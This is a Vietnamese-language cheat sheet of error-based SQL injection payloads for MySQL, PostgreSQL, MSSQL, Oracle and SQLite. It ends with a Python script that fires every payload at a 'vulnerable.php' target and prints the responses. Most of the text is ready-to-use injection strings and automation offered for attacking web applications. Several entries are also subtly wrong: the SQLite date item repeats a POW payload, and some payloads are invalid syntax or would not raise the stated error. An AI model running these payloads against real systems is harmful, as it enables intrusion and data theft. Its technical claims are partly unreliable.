Table of Contents
Phương pháp nâng cao để tạo lỗi bắt buộc trên nhiều DBMS khác nhau
Sau đây là một số kỹ thuật nâng cao dành riêng cho một số DBMS để buộc lỗi và
thu thập thông tin có giá trị. Bằng cách sử dụng các phương pháp nâng cao này
để buộc lỗi trên các DBMS khác nhau, bạn có thể thu thập thông tin chi tiết
Phương pháp nâng cao để tạo lỗi bắt buộc trên nhiều DBMS khác nhau
MySQL
Sử dụng các hàm không hợp lệ
- MySQL cung cấp nhiều hàm có thể gây ra lỗi khi sử dụng không đúng cách.
' AND EXP(~(SELECT * FROM (SELECT 1) t)) --
Chuyển đổi thập lục phân không hợp lệ
- Sử dụng các giá trị thập lục phân không hợp lệ có thể gây ra lỗi.
' AND 0xG1 --
Các truy vấn phụ trong mệnh đề SELECT
- Sử dụng các truy vấn phụ trả về nhiều hàng trong một ngữ cảnh giá trị duy nhất.
' AND (SELECT * FROM (SELECT 1,2) t) = 1 --
PostgreSQL
Biểu thức chính quy không hợp lệ
- Các hàm regex của PostgreSQL có thể bị sử dụng không đúng cách và gây ra lỗi.
' AND 'a' ~ 'b[' --
Hoạt động JSON không hợp lệ
- Sử dụng các hàm JSON có thao tác không hợp lệ.
' AND jsonb_path_query_first('{"a":1}', '$.a') --
CTE đệ quy
- Sử dụng Biểu thức bảng chung đệ quy (CTE) không đúng cách.
' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT * FROM t --
MSSQL
Truy vấn XML không hợp lệ
- Các hàm XML của MSSQL có thể tạo ra lỗi khi sử dụng với XML không hợp lệ.
'; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)[1]', 'INT') --
Chuyển đổi dữ liệu không hợp lệ
- Các hàm chuyển đổi có thể gây ra lỗi khi chuyển đổi các kiểu dữ liệu không tương thích.
'; SELECT CAST('text' AS INT) --
SQL Injection với các hàm lỗi
- Sử dụng các hàm lỗi tích hợp để tạo lỗi.
'; RAISERROR('Error generated', 16, 1) --
Oracle
Thao tác dữ liệu không hợp lệ
- Các chức năng cụ thể và thao tác dữ liệu của Oracle có thể gây ra lỗi.
' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual --
Sử dụng XMLType không hợp lệ
- Sử dụng XMLType không đúng cách có thể gây ra lỗi.
' UNION SELECT XMLType('<invalid><xml>') FROM dual --
Sử dụng SYS.DBMS_ASSERT
- Tận dụng gói khẳng định của Oracle để buộc lỗi.
' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual --
SQLite
Các hàm chuỗi không hợp lệ
- Các hàm chuỗi của SQLite có thể tạo ra lỗi khi sử dụng không đúng cách.
' UNION SELECT SUBSTR('text', -1, 1) --
Các phép toán không hợp lệ
- Sử dụng các hàm toán học với dữ liệu đầu vào không hợp lệ.
' UNION SELECT POW('text', 2) --
Các hàm ngày không hợp lệ
- Sử dụng hàm ngày tháng với tham số không chính xác.
' UNION SELECT POW('text', 2) --
Tập lệnh Python để ép lỗi
Tự động Injection lỗi
import requests url = "http://example.com/vulnerable.php" payloads = [ # MySQL "' AND EXP(~(SELECT * FROM (SELECT 1) t)) -- ", "' AND 0xG1 -- ", "' AND (SELECT * FROM (SELECT 1,2) t) = 1 -- ", # PostgreSQL "' AND 'a' ~ 'b[' -- ", "' AND jsonb_path_query_first('{'a':1}', '$.a') -- ", "' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT * FROM t -- ", # MSSQL "; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)[1]', 'INT') -- ", "; SELECT CAST('text' AS INT) -- ", "; RAISERROR('Error generated', 16, 1) -- ", # Oracle "' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual -- ", "' UNION SELECT XMLType('<invalid><xml>') FROM dual -- ", "' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual -- ", # SQLite "' UNION SELECT SUBSTR('text', -1, 1) -- ", "' UNION SELECT POW('text', 2) -- ", "' UNION SELECT DATE('invalid_date') -- ", ] for payload in payloads: response = requests.get(url, params={"id": payload}) print(f"Payload: {payload}") print(f"Response: {response.text}\n")